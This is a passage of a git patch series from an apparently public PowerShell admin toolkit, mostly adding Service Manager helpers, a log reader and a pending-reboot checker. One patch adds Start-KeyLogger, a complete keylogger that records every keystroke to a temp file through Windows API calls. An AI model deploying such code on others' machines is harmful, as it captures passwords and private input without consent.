SCSM-Get-SCSMWorkItemRequestOffering/Readme.md | 1 + 1 file changed, 1 insertion(+) create mode 100644 SCSM-Get-SCSMWorkItemRequestOffering/Readme.md diff --git a/SCSM-Get-SCSMWorkItemRequestOffering/Readme.md b/SCSM-Get-SCSMWorkItemRequestOffering/Readme.md new file mode 100644 index 00000000..345e6aef --- /dev/null +++ b/SCSM-Get-SCSMWorkItemRequestOffering/Readme.md @@ -0,0 +1 @@ +Test From 26bdd2d8594b87cf87006af5dbcafe9806adf8eb Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Tue, 1 Dec 2015 14:42:51 -0500 Subject: [PATCH 030/561] Update ConvertTo-StringList Add Examples, Fix issue in the Process Block (the output was not showing properly) --- .../ConvertTo-StringList.ps1 | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 b/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 index ade4cd5e..6e51ae60 100644 --- a/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 +++ b/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 @@ -13,6 +13,20 @@ .PARAMETER Delimiter Separator between value, default is "," + .EXAMPLE + $Computers = "Computer1","Computer2" + ConvertTo-StringList -Array $Computers + + Output: + Computer1,Computer2 + + .EXAMPLE + $Computers = "Computer1","Computer2" + ConvertTo-StringList -Array $Computers -Delimiter "__" + + Output: + Computer1__Computer2 + .NOTES Francois-Xavier Cat www.lazywinadmin.com @@ -40,7 +54,7 @@ foreach ($item in $Array) { # Adding the current object to the list - $StringList += "$_$Delimiter" + $StringList += "$item$Delimiter" } Write-Verbose "StringList: $StringList" } From dc2312c0c8b23bece9c809dcd475cb1186616d81 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Tue, 1 Dec 2015 14:47:21 -0500 Subject: [PATCH 031/561] Update ConvertTo-StringList Add an example for unique entry --- TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 b/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 index 6e51ae60..1a929719 100644 --- a/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 +++ b/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 @@ -27,6 +27,13 @@ Output: Computer1__Computer2 + .EXAMPLE + $Computers = "Computer1" + ConvertTo-StringList -Array $Computers -Delimiter "__" + + Output: + Computer1 + .NOTES Francois-Xavier Cat www.lazywinadmin.com From dc319e4471e72830f2ffca8ee0b008dfc61b351f Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 2 Dec 2015 22:36:58 -0500 Subject: [PATCH 032/561] Add SCSM CI functions Add Get-SCSMWorkItemAffectedCI and Get-SCSMWorkItemRelatedCI --- .../Get-SCSMWorkItemAffectedCI.ps1 | 35 +++++++++++++++++++ .../Get-SCSMWorkItemRelatedCI.ps1 | 35 +++++++++++++++++++ 2 files changed, 70 insertions(+) create mode 100644 SCSM-Get-SCSMWorkItemAffectedCI/Get-SCSMWorkItemAffectedCI.ps1 create mode 100644 SCSM-Get-SCSMWorkItemRelatedCI/Get-SCSMWorkItemRelatedCI.ps1 diff --git a/SCSM-Get-SCSMWorkItemAffectedCI/Get-SCSMWorkItemAffectedCI.ps1 b/SCSM-Get-SCSMWorkItemAffectedCI/Get-SCSMWorkItemAffectedCI.ps1 new file mode 100644 index 00000000..868810e0 --- /dev/null +++ b/SCSM-Get-SCSMWorkItemAffectedCI/Get-SCSMWorkItemAffectedCI.ps1 @@ -0,0 +1,35 @@ +function Get-SCSMWorkItemAffectedCI +{ +<# + .SYNOPSIS + Function to retrieve the affected configuration item of a System Center Service Manager Work Item + + .DESCRIPTION + Function to retrieve the affected configuration item of a System Center Service Manager Work Item + + .PARAMETER GUID + Specifies the GUID of the WorkItem + + .EXAMPLE + PS C:\> Get-SCSMWorkItemAffectedCI -GUID "69c5dfc9-9acb-0afb-9210-190d3054901e" + + .NOTES + Francois-Xavier.Cat + @lazywinadm + www.lazywinadmin.com +#> + PARAM ( + [parameter()] + [Alias()] + $GUID + ) + PROCESS + { + # Find the Ticket Object + $WorkItemObject = Get-SCSMObject -id $GUID + + # Find the Affected Configuration Items + Get-SCSMRelationshipObject -BySource $WorkItemObject | + Where-Object { $_.relationshipid -eq 'b73a6094-c64c-b0ff-9706-1822df5c2e82' } + } +} \ No newline at end of file diff --git a/SCSM-Get-SCSMWorkItemRelatedCI/Get-SCSMWorkItemRelatedCI.ps1 b/SCSM-Get-SCSMWorkItemRelatedCI/Get-SCSMWorkItemRelatedCI.ps1 new file mode 100644 index 00000000..0cf75a8d --- /dev/null +++ b/SCSM-Get-SCSMWorkItemRelatedCI/Get-SCSMWorkItemRelatedCI.ps1 @@ -0,0 +1,35 @@ +function Get-SCSMWorkItemRelatedCI +{ +<# + .SYNOPSIS + Function to retrieve the related configuration item of a System Center Service Manager Work Item + + .DESCRIPTION + Function to retrieve the related configuration item of a System Center Service Manager Work Item + + .PARAMETER GUID + Specifies the GUID of the WorkItem + + .EXAMPLE + PS C:\> Get-SCSMWorkItemRelatedCI -GUID "69c5dfc9-9acb-0afb-9210-190d3054901e" + + .NOTES + Francois-Xavier.Cat + @lazywinadm + www.lazywinadmin.com +#> + PARAM ( + [parameter()] + [Alias()] + $GUID + ) + PROCESS + { + # Find the Ticket Object + $WorkItemObject = Get-SCSMObject -id $GUID + + # Find the Related Configuration Items + Get-SCSMRelationshipObject -BySource $WorkItemObject | + Where-Object { $_.relationshipid -eq 'd96c8b59-8554-6e77-0aa7-f51448868b43' } + } +} \ No newline at end of file From 7e5acd2b9aa0eadf66591b4ef7f8d7fd5c9f236e Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 2 Dec 2015 22:37:22 -0500 Subject: [PATCH 033/561] Update Get-SCSMWorkItemParent --- .../Get-SCSMWorkItemParent.ps1 | 27 ++++++++++++++++--- 1 file changed, 24 insertions(+), 3 deletions(-) diff --git a/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent.ps1 b/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent.ps1 index 5b4beec3..8dc28204 100644 --- a/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent.ps1 +++ b/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent.ps1 @@ -33,14 +33,27 @@ [CmdletBinding()] PARAM ( [Parameter(ParameterSetName = 'GUID', Mandatory)] - $WorkItemGUID = '', + [Alias('ID')] + $WorkItemGUID, [Parameter(ParameterSetName = 'Object', Mandatory)] $WorkItemObject ) BEGIN { - Import-Module -Name smlets -ErrorAction Stop + IF (-not (Get-Module -Name Smlets)) + { + TRY + { + Import-Module -Name smlets -ErrorAction Stop + } + CATCH + { + Write-Error -Message "[BEGIN] Error importing smlets" + $Error[0].Exception.Message + } + } + ELSE {Write-Verbose -Message "[BEGIN] Smlets module already loaded"} } PROCESS { @@ -49,21 +62,29 @@ IF ($PSBoundParameters['WorkItemGUID']) { # Retrieve the Activity Object in SCSM + Write-Verbose -Message "[PROCESS] Retrieving WorkItem with GUID" $ActivityObject = Get-SCSMObject -id $WorkItemGUID } IF ($PSBoundParameters['WorkItemObject']) { # Retrieve the Activity Object in SCSM + Write-Verbose -Message "[PROCESS] Retrieving WorkItem with SM Object" $ActivityObject = Get-SCSMObject -id $WorkItemObject.get_id() } # Retrieve Parent + Write-Verbose -Message "[PROCESS] Activity: $($ActivityObject.name)" + Write-Verbose -Message "[PROCESS] Retrieving WorkItem Parent" $ParentRelationshipID = '2da498be-0485-b2b2-d520-6ebd1698e61b' $ParentRelatedObject = Get-SCSMRelationshipObject -ByTarget $ActivityObject | Where-Object{ $_.RelationshipId -eq $ParentRelationshipID } $ParentObject = $ParentRelatedObject.SourceObject + Write-Verbose -Message "[PROCESS] Activity: $($ActivityObject.name) - Parent: $($ParentObject.name)" + + If ($ParentObject.ClassName -eq 'System.WorkItem.ServiceRequest' -OR $ParentObject.ClassName -eq 'System.WorkItem.ChangeRequest' -OR $ParentObject.ClassName -eq 'System.WorkItem.ReleaseRecord' -OR $ParentObject.ClassName -eq 'System.WorkItem.Incident') { + Write-Verbose -Message "[PROCESS] This is the top level parent" Write-Output $ParentObject # Could do the following to retrieve all the properties @@ -71,6 +92,7 @@ } Else { + Write-Verbose -Message "[PROCESS] Not the top level parent. Running Get-SCSMWorkItemParent against this object" # Loop to find the highest parent Get-SCSMWorkItemParent -WorkItemGUID $ParentObject.id.guid } @@ -83,6 +105,5 @@ END { remove-module -Name smlets -ErrorAction SilentlyContinue - }#End } #Function \ No newline at end of file From 04f1eed27f0f39bc694f94503833fe2a8768435b Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 10 Dec 2015 10:22:23 -0500 Subject: [PATCH 034/561] Add Get-LogFast Add Log reader using System.IO.StreamReader --- TOOL-Get-LogFast/Get-LogFast.ps1 | 69 ++++++++++++++++++++++++++++++++ 1 file changed, 69 insertions(+) create mode 100644 TOOL-Get-LogFast/Get-LogFast.ps1 diff --git a/TOOL-Get-LogFast/Get-LogFast.ps1 b/TOOL-Get-LogFast/Get-LogFast.ps1 new file mode 100644 index 00000000..1d110b2b --- /dev/null +++ b/TOOL-Get-LogFast/Get-LogFast.ps1 @@ -0,0 +1,69 @@ +function Get-LogFast +{ +<# + .DESCRIPTION + Function to read a log file very fast + .SYNOPSIS + Function to read a log file very fast + .EXAMPLE + Get-LogFast -Path C:\megalogfile.log + .EXAMPLE + Get-LogFast -Path C:\367.msp.0.log -Match "09:36:43:417" -Verbose + + VERBOSE: [PROCESS] Match found + MSI (s) (A8:14) [09:36:43:417]: Note: 1: 2205 2: 3: Font + VERBOSE: [PROCESS] Match found + MSI (s) (A8:14) [09:36:43:417]: Note: 1: 2205 2: 3: Class + VERBOSE: [PROCESS] Match found + MSI (s) (A8:14) [09:36:43:417]: Note: 1: 2205 2: 3: TypeLib + + .NOTES + Francois-Xavier cat + @lazywinadm + www.lazywinadmin.com + github.com/lazywinadmin + +#> + [CmdletBinding()] + PARAM ( + $Path = "c:\Biglog.log", + + $Match + ) + BEGIN + { + # Create a StreamReader object + # Fortunately this .NET Framework called System.IO.StreamReader allows you to read text files a line at a time which is important when you’ re dealing with huge log files :-) + $StreamReader = New-object -TypeName System.IO.StreamReader -ArgumentList (Resolve-Path -Path $Path -ErrorAction Stop).Path + } + PROCESS + { + # .Peek() Method: An integer representing the next character to be read, or -1 if no more characters are available or the stream does not support seeking. + while ($StreamReader.Peek() -gt -1) + { + # Read the next line + # .ReadLine() method: Reads a line of characters from the current stream and returns the data as a string. + $Line = $StreamReader.ReadLine() + + # Ignore empty line and line starting with a # + if ($Line.length -eq 0 -or $Line -match "^#") + { + continue + } + + IF ($PSBoundParameters['Match']) + { + If ($Line -match $Match) + { + Write-Verbose -Message "[PROCESS] Match found" + + # Split the line on $Delimiter + #$result = ($Line -split $Delimiter) + + Write-Output $Line + } + } + ELSE { Write-Output $Line } + } + } #PROCESS +} \ No newline at end of file From d61249158d947aefee65b0077b61c66f263a0e4d Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 10 Dec 2015 10:24:55 -0500 Subject: [PATCH 035/561] Add Start-KeyLogger Simple Keylogger from Powershell.com --- TOOL-Start-KeyLogger/Start-KeyLogger.ps1 | 85 ++++++++++++++++++++++++ 1 file changed, 85 insertions(+) create mode 100644 TOOL-Start-KeyLogger/Start-KeyLogger.ps1 diff --git a/TOOL-Start-KeyLogger/Start-KeyLogger.ps1 b/TOOL-Start-KeyLogger/Start-KeyLogger.ps1 new file mode 100644 index 00000000..82a727a0 --- /dev/null +++ b/TOOL-Start-KeyLogger/Start-KeyLogger.ps1 @@ -0,0 +1,85 @@ +#requires -Version 2 +function Start-KeyLogger($Path = "$env:temp\keylogger.txt") +{ + <# + .DESCRIPTION + By accessing the Windows low-level API functions, a script can constantly + monitor the keyboard for keypresses and log these to a file. This effectively produces a keylogger. + + Run the function Start-Keylogger to start logging key presses. Once you + stop the script by pressing CTRL+C, the collected key presses are displayed + + .NOTES + http://powershell.com/cs/blogs/tips/archive/2015/12/09/creating-simple-keylogger.aspx + #> + # Signatures for API Calls + $signatures = @' +[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] +public static extern short GetAsyncKeyState(int virtualKeyCode); +[DllImport("user32.dll", CharSet=CharSet.Auto)] +public static extern int GetKeyboardState(byte[] keystate); +[DllImport("user32.dll", CharSet=CharSet.Auto)] +public static extern int MapVirtualKey(uint uCode, int uMapType); +[DllImport("user32.dll", CharSet=CharSet.Auto)] +public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags); +'@ + + # load signatures and make members available + $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru + + # create output file + $null = New-Item -Path $Path -ItemType File -Force + + try + { + Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red + + # create endless loop. When user presses CTRL+C, finally-block + # executes and shows the collected key presses + while ($true) + { + Start-Sleep -Milliseconds 40 + + # scan all ASCII codes above 8 + for ($ascii = 9; $ascii -le 254; $ascii++) + { + # get current key state + $state = $API::GetAsyncKeyState($ascii) + + # is key pressed? + if ($state -eq -32767) + { + $null = [console]::CapsLock + + # translate scan code to real code + $virtualKey = $API::MapVirtualKey($ascii, 3) + + # get keyboard state for virtual keys + $kbstate = New-Object Byte[] 256 + $checkkbstate = $API::GetKeyboardState($kbstate) + + # prepare a StringBuilder to receive input key + $mychar = New-Object -TypeName System.Text.StringBuilder + + # translate virtual key + $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0) + + if ($success) + { + # add key to logger file + [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) + } + } + } + } + } + finally + { + # open logger file in Notepad + notepad $Path + } +} + +# records all key presses until script is aborted by pressing CTRL+C +# will then open the file with collected key codes +#Start-KeyLogger \ No newline at end of file From 570c4a1c944510ec9dc37406a99d33d54fb19c9c Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 11 Dec 2015 11:23:39 -0500 Subject: [PATCH 036/561] Add Get-PendingReboot --- TOOL-Get-PendingReboot/Get-PendingReboot.ps1 | 229 +++++++++++++++++++ 1 file changed, 229 insertions(+) create mode 100644 TOOL-Get-PendingReboot/Get-PendingReboot.ps1 diff --git a/TOOL-Get-PendingReboot/Get-PendingReboot.ps1 b/TOOL-Get-PendingReboot/Get-PendingReboot.ps1 new file mode 100644 index 00000000..245d096d --- /dev/null +++ b/TOOL-Get-PendingReboot/Get-PendingReboot.ps1 @@ -0,0 +1,229 @@ +Function Get-PendingReboot +{ +<# +.SYNOPSIS + Gets the pending reboot status on a local or remote computer. + +.DESCRIPTION + This function will query the registry on a local or remote computer and determine if the + system is pending a reboot, from either Microsoft Patching or a Software Installation. + For Windows 2008+ the function will query the CBS registry key as another factor in determining + pending reboot state. "PendingFileRenameOperations" and "Auto Update\RebootRequired" are observed + as being consistant across Windows Server 2003 & 2008. + + CBServicing = Component Based Servicing (Windows 2008) + WindowsUpdate = Windows Update / Auto Update (Windows 2003 / 2008) + CCMClientSDK = SCCM 2012 Clients only (DetermineIfRebootPending method) otherwise $null value + PendFileRename = PendingFileRenameOperations (Windows 2003 / 2008) + +.PARAMETER ComputerName + A single Computer or an array of computer names. The default is localhost ($env:COMPUTERNAME). + +.PARAMETER ErrorLog + A single path to send error data to a log file. + +.EXAMPLE + PS C:\> Get-PendingReboot -ComputerName (Get-Content C:\ServerList.txt) | Format-Table -AutoSize + + Computer CBServicing WindowsUpdate CCMClientSDK PendFileRename PendFileRenVal RebootPending + -------- ----------- ------------- ------------ -------------- -------------- ------------- + DC01 False False False False + DC02 False False False False + FS01 False False False False + + This example will capture the contents of C:\ServerList.txt and query the pending reboot + information from the systems contained in the file and display the output in a table. The + null values are by design, since these systems do not have the SCCM 2012 client installed, + nor was the PendingFileRenameOperations value populated. + +.EXAMPLE + PS C:\> Get-PendingReboot + + Computer : WKS01 + CBServicing : False + WindowsUpdate : True + CCMClient : False + PendComputerRename : False + PendFileRename : False + PendFileRenVal : + RebootPending : True + + This example will query the local machine for pending reboot information. + +.EXAMPLE + PS C:\> $Servers = Get-Content C:\Servers.txt + PS C:\> Get-PendingReboot -Computer $Servers | Export-Csv C:\PendingRebootReport.csv -NoTypeInformation + + This example will create a report that contains pending reboot information. + +.LINK + Component-Based Servicing: + http://technet.microsoft.com/en-us/library/cc756291(v=WS.10).aspx + + PendingFileRename/Auto Update: + http://support.microsoft.com/kb/2723674 + http://technet.microsoft.com/en-us/library/cc960241.aspx + http://blogs.msdn.com/b/hansr/archive/2006/02/17/patchreboot.aspx + + SCCM 2012/CCM_ClientSDK: + http://msdn.microsoft.com/en-us/library/jj902723.aspx + +.NOTES + Author: Brian Wilhite + Email: bcwilhite (at) live.com + Date: 29AUG2012 + PSVer: 2.0/3.0/4.0/5.0 + Updated: 01DEC2014 + UpdNote: Added CCMClient property - Used with SCCM 2012 Clients only + Added ValueFromPipelineByPropertyName=$true to the ComputerName Parameter + Removed $Data variable from the PSObject - it is not needed + Bug with the way CCMClientSDK returned null value if it was false + Removed unneeded variables + Added PendFileRenVal - Contents of the PendingFileRenameOperations Reg Entry + Removed .Net Registry connection, replaced with WMI StdRegProv + Added ComputerPendingRename +#> + + [CmdletBinding()] + param ( + [Parameter(Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true)] + [Alias("CN", "Computer")] + [String[]]$ComputerName = "$env:COMPUTERNAME", + + [String]$ErrorLog + ) + + Begin { } ## End Begin Script Block + Process + { + Foreach ($Computer in $ComputerName) + { + Try + { + ## Setting pending values to false to cut down on the number of else statements + $CompPendRen, $PendFileRename, $Pending, $SCCM = $false, $false, $false, $false + + ## Setting CBSRebootPend to null since not all versions of Windows has this value + $CBSRebootPend = $null + + ## Querying WMI for build version + $WMI_OS = Get-WmiObject -Class Win32_OperatingSystem -Property BuildNumber, CSName -ComputerName $Computer -ErrorAction Stop + + ## Making registry connection to the local/remote computer + $HKLM = [UInt32] "0x80000002" + $WMI_Reg = [WMIClass] "\\$Computer\root\default:StdRegProv" + + ## If Vista/2008 & Above query the CBS Reg Key + If ([Int32]$WMI_OS.BuildNumber -ge 6001) + { + $RegSubKeysCBS = $WMI_Reg.EnumKey($HKLM, "SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\") + $CBSRebootPend = $RegSubKeysCBS.sNames -contains "RebootPending" + } + + ## Query WUAU from the registry + $RegWUAURebootReq = $WMI_Reg.EnumKey($HKLM, "SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\") + $WUAURebootReq = $RegWUAURebootReq.sNames -contains "RebootRequired" + + ## Query PendingFileRenameOperations from the registry + $RegSubKeySM = $WMI_Reg.GetMultiStringValue($HKLM, "SYSTEM\CurrentControlSet\Control\Session Manager\", "PendingFileRenameOperations") + $RegValuePFRO = $RegSubKeySM.sValue + + ## Query ComputerName and ActiveComputerName from the registry + $ActCompNm = $WMI_Reg.GetStringValue($HKLM, "SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName\", "ComputerName") + $CompNm = $WMI_Reg.GetStringValue($HKLM, "SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\", "ComputerName") + If ($ActCompNm -ne $CompNm) + { + $CompPendRen = $true + } + + ## If PendingFileRenameOperations has a value set $RegValuePFRO variable to $true + If ($RegValuePFRO) + { + $PendFileRename = $true + } + + ## Determine SCCM 2012 Client Reboot Pending Status + ## To avoid nested 'if' statements and unneeded WMI calls to determine if the CCM_ClientUtilities class exist, setting EA = 0 + $CCMClientSDK = $null + $CCMSplat = @{ + NameSpace = 'ROOT\ccm\ClientSDK' + Class ='CCM_ClientUtilities' + Name = 'DetermineIfRebootPending' + ComputerName = $Computer + ErrorAction = 'Stop' + } + ## Try CCMClientSDK + Try + { + $CCMClientSDK = Invoke-WmiMethod @CCMSplat + } + Catch [System.UnauthorizedAccessException] { + $CcmStatus = Get-Service -Name CcmExec -ComputerName $Computer -ErrorAction SilentlyContinue + If ($CcmStatus.Status -ne 'Running') + { + Write-Warning "$Computer`: Error - CcmExec service is not running." + $CCMClientSDK = $null + } + } + Catch + { + $CCMClientSDK = $null + } + + If ($CCMClientSDK) + { + If ($CCMClientSDK.ReturnValue -ne 0) + { + Write-Warning "Error: DetermineIfRebootPending returned error code $($CCMClientSDK.ReturnValue)" + } + If ($CCMClientSDK.IsHardRebootPending -or $CCMClientSDK.RebootPending) + { + $SCCM = $true + } + } + + Else + { + $SCCM = $null + } + + ## Creating Custom PSObject and Select-Object Splat + $SelectSplat = @{ + Property = ( + 'Computer', + 'CBServicing', + 'WindowsUpdate', + 'CCMClientSDK', + 'PendComputerRename', + 'PendFileRename', + 'PendFileRenVal', + 'RebootPending' + ) + } + New-Object -TypeName PSObject -Property @{ + Computer = $WMI_OS.CSName + CBServicing = $CBSRebootPend + WindowsUpdate = $WUAURebootReq + CCMClientSDK = $SCCM + PendComputerRename = $CompPendRen + PendFileRename = $PendFileRename + PendFileRenVal = $RegValuePFRO + RebootPending = ($CompPendRen -or $CBSRebootPend -or $WUAURebootReq -or $SCCM -or $PendFileRename) + } | Select-Object @SelectSplat + + } + Catch + { + Write-Warning "$Computer`: $_" + ## If $ErrorLog, log the file to a user specified location/path + If ($ErrorLog) + { + Out-File -InputObject "$Computer`,$_" -FilePath $ErrorLog -Append + } + } + } ## End Foreach ($Computer in $ComputerName) + } ## End Process + + End { } ## End End + +} ## End Function Get-PendingReboot \ No newline at end of file From f6b808f7f2662c63259c1c7feecfca909d6c744f Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 27 Jan 2016 19:43:28 -0500 Subject: [PATCH 037/561] Add SCSM WI Comment functions --- .../Add-SCSMServiceRequestComment.ps1 | 63 +++++++++++++++ .../Get-SCSMIncidentRequestComment.ps1 | 76 +++++++++++++++++++ 2 files changed, 139 insertions(+) create mode 100644 SCSM-Add-SCSMServiceRequestComment/Add-SCSMServiceRequestComment.ps1 create mode 100644 SCSM-Get-SCSMIncidentRequestComment/Get-SCSMIncidentRequestComment.ps1 diff --git a/SCSM-Add-SCSMServiceRequestComment/Add-SCSMServiceRequestComment.ps1 b/SCSM-Add-SCSMServiceRequestComment/Add-SCSMServiceRequestComment.ps1 new file mode 100644 index 00000000..9f886828 --- /dev/null +++ b/SCSM-Add-SCSMServiceRequestComment/Add-SCSMServiceRequestComment.ps1 @@ -0,0 +1,63 @@ +Function Add-SCSMServiceRequestComment +{ + param ( + [parameter(Mandatory = $True, Position = 0)] + $SRObject, + + [parameter(Mandatory = $True, Position = 1)] + $Comment, + + [parameter(Mandatory = $True, Position = 2)] + $EnteredBy, + + [parameter(Mandatory = $False, Position = 3)] + [switch]$AnalystComment, + + [parameter(Mandatory = $False, Position = 4)] + [switch]$IsPrivate + ) + + # Make sure that the SR Object it passed to the function + If ($SRObject.Id -ne $NULL) + { + + + If ($AnalystComment) + { + $CommentClass = "System.WorkItem.TroubleTicket.AnalystCommentLog" + $CommentClassName = "AnalystCommentLog" + } + else + { + $CommentClass = "System.WorkItem.TroubleTicket.UserCommentLog" + $CommentClassName = "EndUserCommentLog" + } + + # Generate a new GUID for the comment + $NewGUID = ([guid]::NewGuid()).ToString() + + # Create the object projection with properties + $Projection = @{ + __CLASS = "System.WorkItem.ServiceRequest"; + __SEED = $SRObject; + EndUserCommentLog = @{ + __CLASS = $CommentClass; + __OBJECT = @{ + Id = $NewGUID; + DisplayName = $NewGUID; + Comment = $Comment; + EnteredBy = $EnteredBy; + EnteredDate = (Get-Date).ToUniversalTime(); + IsPrivate = $IsPrivate.ToBool(); + } + } + } + + # Create the actual comment + New-SCSMObjectProjection -Type "System.WorkItem.ServiceRequestProjection" -Projection $Projection + } + else + { + Throw "Invalid Service Request Object!" + } +} \ No newline at end of file diff --git a/SCSM-Get-SCSMIncidentRequestComment/Get-SCSMIncidentRequestComment.ps1 b/SCSM-Get-SCSMIncidentRequestComment/Get-SCSMIncidentRequestComment.ps1 new file mode 100644 index 00000000..8e901d41 --- /dev/null +++ b/SCSM-Get-SCSMIncidentRequestComment/Get-SCSMIncidentRequestComment.ps1 @@ -0,0 +1,76 @@ +function Get-SCSMIncidentRequestComment +{ +<# + .SYNOPSIS + Function to retrieve the comments from a Incident Request WorkItem + + .DESCRIPTION + Function to retrieve the comments from a Incident Request WorkItem + + .PARAMETER DateTime + Specifies from when (DateTime) the search need to look + + .PARAMETER GUID + Specifies the GUID of the Service Request or Incident Request + + .EXAMPLE + Get-SCSMServiceRequestComment -DateTime $((Get-Date).AddHours(-15)) + + .EXAMPLE + Get-SCSMServiceRequestComment -DateTime "2016/01/01" + + .EXAMPLE + Get-SCSMServiceRequestComment -GUID 221dbd07-b480-ee33-fc25-6077406e83ad + + .NOTES + Francois-Xavier Cat + www.LazyWinAdmin.com + @lazywinadm +#> + + PARAM + ( + [Parameter(ParameterSetName = 'General', + Mandatory = $true)] + $DateTime = $((Get-Date).AddHours(-24)), + + [Parameter(ParameterSetName = 'GUID')] + $GUID + ) + + IF ($PSBoundParameters['GUID']) + { + $Tickets = Get-SCSMObject -id $GUID + } + ELSE + { + if ($DateTime -is [String]){ $DateTime = Get-Date $DateTime} + $DateTime = $DateTime.ToString(“yyy-MM-dd HH:mm:ss”) + $Tickets = Get-SCSMObject -Class (Get-SCSMClass System.WorkItem.incidentrequest$) -Filter "CreatedDate -gt '$DateTime'" #| Where-Object { $_.AssignedTo -eq $NULL } + } + + $Tickets | + ForEach-Object { + $CurrentTicket = $_ + $relatedObjects = Get-scsmrelatedobject -SMObject $CurrentTicket + Foreach ($Comment in ($relatedObjects | Where-Object { $_.classname -eq 'System.WorkItem.TroubleTicket.UserCommentLog' -or $_.classname -eq 'System.WorkItem.TroubleTicket.AnalystCommentLog' -or $_.classname -eq 'System.WorkItem.TroubleTicket.AuditCommentLog' })) + { + # Output the information + [pscustomobject][ordered] @{ + TicketName = $CurrentTicket.Name + TicketClassName = $CurrentTicket.Classname + TicketDisplayName = $CurrentTicket.DisplayName + TicketID = $CurrentTicket.ID + TicketGUID = $CurrentTicket.get_id() + TicketTierQueue = $CurrentTicket.TierQueue + TicketSupportGroup = $CurrentTicket.SupportGroup + TicketAssignedTo = $CurrentTicket.AssignedTo + TicketCreatedDate = $CurrentTicket.CreatedDate + Comment = $Comment.Comment + CommentEnteredBy = $Comment.EnteredBy + CommentEnteredDate = $Comment.EnteredDate + CommentClassName = $Comment.ClassName + } + } + } +} \ No newline at end of file From 0362767818666d5da1eab1bbf684f37db7669c7c Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 27 Jan 2016 22:31:02 -0500 Subject: [PATCH 038/561] Add SCSM Functions to get WI Comments --- .../Get-SCSMIncidentRequestComment.ps1 | 68 +++++++++-------- .../Get-SCSMServiceRequestComment.ps1 | 75 +++++++++++++++++++ 2 files changed, 113 insertions(+), 30 deletions(-) create mode 100644 SCSM-Get-SCSMServiceRequestComment/Get-SCSMServiceRequestComment.ps1 diff --git a/SCSM-Get-SCSMIncidentRequestComment/Get-SCSMIncidentRequestComment.ps1 b/SCSM-Get-SCSMIncidentRequestComment/Get-SCSMIncidentRequestComment.ps1 index 8e901d41..98b7d1a6 100644 --- a/SCSM-Get-SCSMIncidentRequestComment/Get-SCSMIncidentRequestComment.ps1 +++ b/SCSM-Get-SCSMIncidentRequestComment/Get-SCSMIncidentRequestComment.ps1 @@ -11,7 +11,7 @@ Specifies from when (DateTime) the search need to look .PARAMETER GUID - Specifies the GUID of the Service Request or Incident Request + Specifies the GUID of the Incident Request .EXAMPLE Get-SCSMServiceRequestComment -DateTime $((Get-Date).AddHours(-15)) @@ -37,40 +37,48 @@ [Parameter(ParameterSetName = 'GUID')] $GUID ) - - IF ($PSBoundParameters['GUID']) + BEGIN { - $Tickets = Get-SCSMObject -id $GUID + $AssignedUserClassRelation = Get-SCSMRelationshipClass -Id 15e577a3-6bf9-6713-4eac-ba5a5b7c4722 } - ELSE + PROCESS { - if ($DateTime -is [String]){ $DateTime = Get-Date $DateTime} - $DateTime = $DateTime.ToString(“yyy-MM-dd HH:mm:ss”) - $Tickets = Get-SCSMObject -Class (Get-SCSMClass System.WorkItem.incidentrequest$) -Filter "CreatedDate -gt '$DateTime'" #| Where-Object { $_.AssignedTo -eq $NULL } - } - - $Tickets | - ForEach-Object { - $CurrentTicket = $_ - $relatedObjects = Get-scsmrelatedobject -SMObject $CurrentTicket - Foreach ($Comment in ($relatedObjects | Where-Object { $_.classname -eq 'System.WorkItem.TroubleTicket.UserCommentLog' -or $_.classname -eq 'System.WorkItem.TroubleTicket.AnalystCommentLog' -or $_.classname -eq 'System.WorkItem.TroubleTicket.AuditCommentLog' })) + + IF ($PSBoundParameters['GUID']) { - # Output the information - [pscustomobject][ordered] @{ - TicketName = $CurrentTicket.Name - TicketClassName = $CurrentTicket.Classname - TicketDisplayName = $CurrentTicket.DisplayName - TicketID = $CurrentTicket.ID - TicketGUID = $CurrentTicket.get_id() - TicketTierQueue = $CurrentTicket.TierQueue - TicketSupportGroup = $CurrentTicket.SupportGroup - TicketAssignedTo = $CurrentTicket.AssignedTo - TicketCreatedDate = $CurrentTicket.CreatedDate - Comment = $Comment.Comment - CommentEnteredBy = $Comment.EnteredBy - CommentEnteredDate = $Comment.EnteredDate - CommentClassName = 